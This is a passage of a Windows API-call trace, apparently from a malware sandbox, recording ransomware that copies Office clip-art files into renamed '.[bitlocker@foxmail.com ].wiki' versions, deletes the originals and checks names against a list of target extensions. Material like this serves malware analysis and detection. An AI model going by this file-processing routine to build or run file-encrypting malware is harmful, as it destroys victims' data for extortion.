[0194.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0194.363] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=13808) returned 1 [0194.363] CloseHandle (hObject=0x200) returned 1 [0194.363] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf")) returned 0x20 [0194.363] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0194.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0194.363] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.363] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0194.364] GetLastError () returned 0x0 [0194.364] ReadFile (in: hFile=0x200, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x35f0, lpOverlapped=0x0) returned 1 [0194.366] WriteFile (in: hFile=0x1f8, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x3600, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x3600, lpOverlapped=0x0) returned 1 [0194.367] ReadFile (in: hFile=0x200, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0194.367] WriteFile (in: hFile=0x1f8, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0194.367] SetEndOfFile (hFile=0x1f8) returned 1 [0194.367] CloseHandle (hObject=0x1f8) returned 1 [0194.367] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.367] SetEndOfFile (hFile=0x200) returned 1 [0194.368] CloseHandle (hObject=0x200) returned 1 [0194.368] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0194.368] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf")) returned 1 [0194.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned 63 [0194.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned 63 [0194.368] lstrlenW (lpString=".doc") returned 4 [0194.368] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.368] lstrlenW (lpString=".docx") returned 5 [0194.368] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0194.368] lstrlenW (lpString=".pdf") returned 4 [0194.368] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.368] lstrlenW (lpString=".xls") returned 4 [0194.368] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.368] lstrlenW (lpString=".xlsx") returned 5 [0194.369] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0194.369] lstrlenW (lpString=".ppt") returned 4 [0194.369] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned 63 [0194.369] lstrlenW (lpString=".zip") returned 4 [0194.369] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.369] lstrlenW (lpString=".rar") returned 4 [0194.369] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.369] lstrlenW (lpString=".bz2") returned 4 [0194.369] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.369] lstrlenW (lpString=".7z") returned 3 [0194.369] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned 63 [0194.369] lstrlenW (lpString=".dbf") returned 4 [0194.369] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned 63 [0194.369] lstrlenW (lpString=".1cd") returned 4 [0194.369] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned 63 [0194.369] lstrlenW (lpString=".jpg") returned 4 [0194.369] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned 63 [0194.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned 63 [0194.369] lstrlenW (lpString=".doc") returned 4 [0194.369] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.369] lstrlenW (lpString=".docx") returned 5 [0194.369] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0194.369] lstrlenW (lpString=".pdf") returned 4 [0194.369] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.369] lstrlenW (lpString=".xls") returned 4 [0194.369] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.369] lstrlenW (lpString=".xlsx") returned 5 [0194.370] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0194.370] lstrlenW (lpString=".ppt") returned 4 [0194.370] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned 63 [0194.370] lstrlenW (lpString=".zip") returned 4 [0194.370] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.370] lstrlenW (lpString=".rar") returned 4 [0194.370] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.370] lstrlenW (lpString=".bz2") returned 4 [0194.370] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.370] lstrlenW (lpString=".7z") returned 3 [0194.370] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned 63 [0194.370] lstrlenW (lpString=".dbf") returned 4 [0194.370] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned 63 [0194.370] lstrlenW (lpString=".1cd") returned 4 [0194.370] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned 63 [0194.370] lstrlenW (lpString=".jpg") returned 4 [0194.370] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.370] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0194.370] lstrlenW (lpString="J0105846.WMF") returned 12 [0194.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0194.371] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=8240) returned 1 [0194.371] CloseHandle (hObject=0x200) returned 1 [0194.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf")) returned 0x20 [0194.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0194.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0194.371] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.371] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0194.372] GetLastError () returned 0x0 [0194.373] ReadFile (in: hFile=0x200, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x2030, lpOverlapped=0x0) returned 1 [0194.374] WriteFile (in: hFile=0x1f8, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x2040, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x2040, lpOverlapped=0x0) returned 1 [0194.375] ReadFile (in: hFile=0x200, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0194.375] WriteFile (in: hFile=0x1f8, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0194.375] SetEndOfFile (hFile=0x1f8) returned 1 [0194.375] CloseHandle (hObject=0x1f8) returned 1 [0194.376] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.376] SetEndOfFile (hFile=0x200) returned 1 [0194.376] CloseHandle (hObject=0x200) returned 1 [0194.376] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0194.567] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf")) returned 1 [0194.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned 63 [0194.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned 63 [0194.567] lstrlenW (lpString=".doc") returned 4 [0194.567] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.567] lstrlenW (lpString=".docx") returned 5 [0194.567] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0194.567] lstrlenW (lpString=".pdf") returned 4 [0194.567] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.567] lstrlenW (lpString=".xls") returned 4 [0194.568] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.568] lstrlenW (lpString=".xlsx") returned 5 [0194.568] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0194.568] lstrlenW (lpString=".ppt") returned 4 [0194.568] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned 63 [0194.568] lstrlenW (lpString=".zip") returned 4 [0194.568] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.568] lstrlenW (lpString=".rar") returned 4 [0194.568] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.568] lstrlenW (lpString=".bz2") returned 4 [0194.568] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.568] lstrlenW (lpString=".7z") returned 3 [0194.568] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned 63 [0194.568] lstrlenW (lpString=".dbf") returned 4 [0194.568] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned 63 [0194.568] lstrlenW (lpString=".1cd") returned 4 [0194.568] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned 63 [0194.568] lstrlenW (lpString=".jpg") returned 4 [0194.568] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned 63 [0194.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned 63 [0194.568] lstrlenW (lpString=".doc") returned 4 [0194.568] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.568] lstrlenW (lpString=".docx") returned 5 [0194.568] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0194.568] lstrlenW (lpString=".pdf") returned 4 [0194.569] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.569] lstrlenW (lpString=".xls") returned 4 [0194.569] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.569] lstrlenW (lpString=".xlsx") returned 5 [0194.569] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0194.569] lstrlenW (lpString=".ppt") returned 4 [0194.569] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned 63 [0194.569] lstrlenW (lpString=".zip") returned 4 [0194.569] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.569] lstrlenW (lpString=".rar") returned 4 [0194.569] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.569] lstrlenW (lpString=".bz2") returned 4 [0194.569] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.569] lstrlenW (lpString=".7z") returned 3 [0194.569] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned 63 [0194.569] lstrlenW (lpString=".dbf") returned 4 [0194.569] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned 63 [0194.569] lstrlenW (lpString=".1cd") returned 4 [0194.569] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned 63 [0194.569] lstrlenW (lpString=".jpg") returned 4 [0194.569] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.569] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0194.569] lstrlenW (lpString="J0107090.WMF") returned 12 [0194.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0194.570] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=14132) returned 1 [0194.570] CloseHandle (hObject=0x1cc) returned 1 [0194.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf")) returned 0x20 [0194.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0194.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0194.571] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.571] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0194.571] GetLastError () returned 0x0 [0194.571] ReadFile (in: hFile=0x1cc, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x3734, lpOverlapped=0x0) returned 1 [0194.653] WriteFile (in: hFile=0x1f8, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x3740, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x3740, lpOverlapped=0x0) returned 1 [0194.654] ReadFile (in: hFile=0x1cc, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0194.654] WriteFile (in: hFile=0x1f8, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0194.654] SetEndOfFile (hFile=0x1f8) returned 1 [0194.654] CloseHandle (hObject=0x1f8) returned 1 [0194.654] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.655] SetEndOfFile (hFile=0x1cc) returned 1 [0194.655] CloseHandle (hObject=0x1cc) returned 1 [0194.655] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0194.655] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf")) returned 1 [0194.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned 63 [0194.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned 63 [0194.656] lstrlenW (lpString=".doc") returned 4 [0194.656] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.656] lstrlenW (lpString=".docx") returned 5 [0194.656] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0194.656] lstrlenW (lpString=".pdf") returned 4 [0194.656] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.656] lstrlenW (lpString=".xls") returned 4 [0194.656] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.656] lstrlenW (lpString=".xlsx") returned 5 [0194.656] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0194.656] lstrlenW (lpString=".ppt") returned 4 [0194.656] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned 63 [0194.656] lstrlenW (lpString=".zip") returned 4 [0194.656] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.656] lstrlenW (lpString=".rar") returned 4 [0194.656] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.656] lstrlenW (lpString=".bz2") returned 4 [0194.656] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.656] lstrlenW (lpString=".7z") returned 3 [0194.656] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned 63 [0194.656] lstrlenW (lpString=".dbf") returned 4 [0194.656] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned 63 [0194.657] lstrlenW (lpString=".1cd") returned 4 [0194.657] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned 63 [0194.657] lstrlenW (lpString=".jpg") returned 4 [0194.657] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned 63 [0194.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned 63 [0194.657] lstrlenW (lpString=".doc") returned 4 [0194.657] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.657] lstrlenW (lpString=".docx") returned 5 [0194.657] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0194.657] lstrlenW (lpString=".pdf") returned 4 [0194.657] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.657] lstrlenW (lpString=".xls") returned 4 [0194.657] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.657] lstrlenW (lpString=".xlsx") returned 5 [0194.657] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0194.657] lstrlenW (lpString=".ppt") returned 4 [0194.657] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned 63 [0194.657] lstrlenW (lpString=".zip") returned 4 [0194.657] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.657] lstrlenW (lpString=".rar") returned 4 [0194.657] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.657] lstrlenW (lpString=".bz2") returned 4 [0194.657] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.657] lstrlenW (lpString=".7z") returned 3 [0194.657] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned 63 [0194.657] lstrlenW (lpString=".dbf") returned 4 [0194.658] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned 63 [0194.658] lstrlenW (lpString=".1cd") returned 4 [0194.658] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned 63 [0194.658] lstrlenW (lpString=".jpg") returned 4 [0194.658] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.658] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0194.658] lstrlenW (lpString="J0107132.WMF") returned 12 [0194.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0194.659] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=48380) returned 1 [0194.660] CloseHandle (hObject=0x1cc) returned 1 [0194.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf")) returned 0x20 